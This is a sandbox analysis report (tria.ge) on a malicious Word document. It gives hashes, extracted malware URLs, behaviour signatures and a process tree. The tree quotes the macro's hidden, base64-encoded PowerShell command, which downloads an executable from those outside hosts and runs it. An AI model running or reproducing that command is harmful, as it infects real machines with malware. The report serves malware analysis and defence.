Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20/11/2024, 22:04
General
-
Target
e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc
-
Size
200KB
-
MD5
cf81ff54490d637bfa7b0bca5d8a1c89
-
SHA1
724eff36db424daa8729d95b4b13573f4ce8bec2
-
SHA256
e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7
-
SHA512
458a2f1733998d6db2418278b16fd5a8e36b828f0e29501ea23c9c77566602c7727874340a614215871e2a18401881af4d112bb1b306ec746ca63d5eb6b8c5ae
-
SSDEEP
3072:+HP9UaqFh5Hr/SzFaSadGBrjC48+WZ/POhh+/JY9a1Zfx4rIqz8aFGcI6kGX:+HP+aqhSzGdD48+aPOngqzxGcI6kG
Malware Config
Extracted
http://compworldinc.com/closed_731293_8C5UbKzD9nC/EeRWoAbaA/
http://graphixagency.com/wp-cache/z40o2osj-6fzn-8077/
http://hyderabadmoversandpackers.com/uh53e/CcTNon/
http://landnewspal.com/8xohvc/UgDirz/
http://freelancedigitales.com/keo/AZPQar/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 3 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABDAHIAbwBrAHEAZgB0AHgAPQAnAFUAegBvAGEAaQByAGcAbQBvAGwAJwA7ACQARgBpAGEAbQBtAHoAagB5AHcAdQB2AHkAIAA9ACAAJwA3ADkAJwA7ACQAQwBoAHgAagB4AG0AZQBpAHEAcgA9ACcASABrAHAAbABnAGEAaQBnAG8AcgBtACcAOwAkAFoAZABvAHUAcQBxAHoAegB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAaQBhAG0AbQB6AGoAeQB3AHUAdgB5ACsAJwAuAGUAeABlACcAOwAkAFEAZQBvAGkAagBzAHkAYwBmAG0APQAnAFcAdgBrAHgAZABlAGkAeQBuAGEAaABxACcAOwAkAFkAaABoAGwAZQBkAGQAbwB5AHAAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAEIAYwBMAGkAZQBuAFQAOwAkAFAAagB1AGUAcQBoAHEAZgA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbQBwAHcAbwByAGwAZABpAG4AYwAuAGMAbwBtAC8AYwBsAG8AcwBlAGQAXwA3ADMAMQAyADkAMwBfADgAQwA1AFUAYgBLAHoARAA5AG4AQwAvAEUAZQBSAFcAbwBBAGIAYQBBAC8AKgBoAHQAdABwADoALwAvAGcAcgBhAHAAaABpAHgAYQBnAGUAbgBjAHkALgBjAG8AbQAvAHcAcAAtAGMAYQBjAGgAZQAvAHoANAAwAG8AMgBvAHMAagAtADYAZgB6AG4ALQA4ADAANwA3AC8AKgBoAHQAdABwADoALwAvAGgAeQBkAGUAcgBhAGIAYQBkAG0AbwB2AGUAcgBzAGEAbgBkAHAAYQBjAGsAZQByAHMALgBjAG8AbQAvAHUAaAA1ADMAZQAvAEMAYwBUAE4AbwBuAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAGQAbgBlAHcAcwBwAGEAbAAuAGMAbwBtAC8AOAB4AG8AaAB2AGMALwBVAGcARABpAHIAegAvACoAaAB0AHQAcAA6AC8ALwBmAHIAZQBlAGwAYQBuAGMAZQBkAGkAZwBpAHQAYQBsAGUAcwAuAGMAbwBtAC8AawBlAG8ALwBBAFoAUABRAGEAcgAvACcALgAiAHMAcABsAGAAaQBUACIAKAAnACoAJwApADsAJABLAHQAdAB5AGwAdQBsAHoAaAA9ACcAWgBnAHoAcgBrAGMAeQBtAHMAawBlACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAGcAaQBtAG8AdAB4AHQAIABpAG4AIAAkAFAAagB1AGUAcQBoAHEAZgApAHsAdAByAHkAewAkAFkAaABoAGwAZQBkAGQAbwB5AHAALgAiAEQAbwB3AE4AYABMAG8AYABBAGQAZgBJAGwARQAiACgAJABFAGcAaQBtAG8AdAB4AHQALAAgACQAWgBkAG8AdQBxAHEAegB6AHoAYwApADsAJABLAG4AZQBuAHYAcQB3AHgAaABjAD0AJwBJAGgAYQBpAGcAdwBvAGMAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFoAZABvAHUAcQBxAHoAegB6AGMAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIAMwAyADIANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAdAAiACgAJABaAGQAbwB1AHEAcQB6AHoAegBjACkAOwAkAEgAYwB4AGoAZQBoAHgAZwB3AGsAPQAnAFEAeQBkAHIAbABzAHIAZQByAG0AYgB2AHgAJwA7AGIAcgBlAGEAawA7ACQATgBwAHYAYgBnAHAAdgBnAHQAcwA9ACcAQQBlAGIAaQB5AHQAYwByAGkAcwB4AHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwByAHYAYgBjAG0AegB2AGsAcQA9ACcASABpAHYAcwBrAHoAeQB5AHIAYQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD540b48f27ec2de1b2ac37a7789116ff63
SHA10aa853e28831b52bf3b83399bc527d816b132f98
SHA25624c0c105306ecf0b5b8250d635605644995c2c6e3c8dcbe8f5d3421405429550
SHA5125670f5707288c73ca3e8ba2851a56186a2e194a8b31e918ac5e3fe979cb6f5a53fe61968760670e94b16b7fdbb5868b3f27ebd6af6700020274098b51f522e86
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
32KB
-
Filesize
2.9MB